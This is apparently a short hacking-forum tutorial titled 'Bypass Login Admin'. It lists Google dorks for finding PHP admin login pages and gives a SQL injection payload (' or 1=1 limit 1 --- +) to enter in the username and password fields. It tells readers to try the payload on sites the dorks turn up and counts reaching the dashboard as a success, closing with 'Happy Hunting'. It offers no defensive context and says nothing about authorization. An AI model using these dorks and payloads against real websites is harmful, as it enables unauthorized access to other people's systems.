Bypass Login Admin

Dork:

Code:

inurl :/ login.php intext: "Welcome, Admin"
inurl :/ panel / intext: "welcone, Admin"
inurl :/ panel / intext: "welcone, Admin" ext: php
inurl :/ manage / ext: php
inurl :/ admin / ext: php
inurl :/ admin2 / ext: php

User and Password

Code:

user: 'or 1 = 1 limit 1 --- +
pass: 'or 1 = 1 limit 1 --- +

Further, this time I would like to find the target website, use top-ranking dork, we check 1 1 website with user and password above, if there is an error like this:


it means not vuln
but if straight into the admin dashboard / admin control panel like this:


then, the website is vulnerable

Happy Hunting

Credits to: Mr. Xenophobic